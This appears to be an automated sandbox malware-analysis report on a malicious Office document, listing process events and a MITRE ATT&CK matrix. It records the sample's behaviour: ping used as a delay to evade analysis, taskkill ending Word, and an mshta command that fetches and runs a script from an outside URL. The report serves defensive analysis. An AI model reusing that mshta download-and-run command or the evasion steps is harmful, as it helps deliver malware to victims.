Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\mshta.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

Malware Analysis System Evasion

barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\taskkill.exe TID: 1528Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\mshta.exe TID: 2584Thread sleep time: -60000s >= -30000sJump to behavior
Source: C:\Windows\System32\taskkill.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\System32\mshta.exeMemory protected: page read and write | page guardJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1 Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe cmd /c start /min taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\mshta.exe mshta http://facextrade.com.br/wp-includes/certificates/4.txtJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\taskkill.exe taskkill /f /im WINWORD.EXE Jump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\System32\Macromed\Flash\activex.vch VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformationJump to behavior
Source: C:\Windows\System32\mshta.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid Accounts1
Windows Management Instrumentation		Path Interception11
Process Injection		1
Masquerading		1
Input Capture		1
Virtualization/Sandbox Evasion		Remote Services1
Email Collection		Exfiltration Over Other Network Medium11
Encrypted Channel		Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default Accounts1
Command and Scripting Interpreter		Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts1
Modify Registry		LSASS Memory11
Remote System Discovery		Remote Desktop Protocol1
Input Capture		Exfiltration Over Bluetooth4
Ingress Tool Transfer		Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain Accounts121
Scripting		Logon Script (Windows)Logon Script (Windows)1
Virtualization/Sandbox Evasion		Security Account Manager1
System Network Configuration Discovery		SMB/Windows Admin Shares1
Archive Collected Data		Automated Exfiltration3
Non-Application Layer Protocol		Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local Accounts23
Exploitation for Client Execution		Logon Script (Mac)Logon Script (Mac)11
Disable or Modify Tools		NTDS1
File and Directory Discovery		Distributed Component Object Model1
Clipboard Data		Scheduled Transfer14
Application Layer Protocol		SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script11
Process Injection		LSA Secrets14
System Information Discovery		SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.common121
Scripting		Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
External Remote ServicesScheduled TaskStartup ItemsStartup Items1
Obfuscated Files or Information		DCSyncNetwork SniffingWindows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.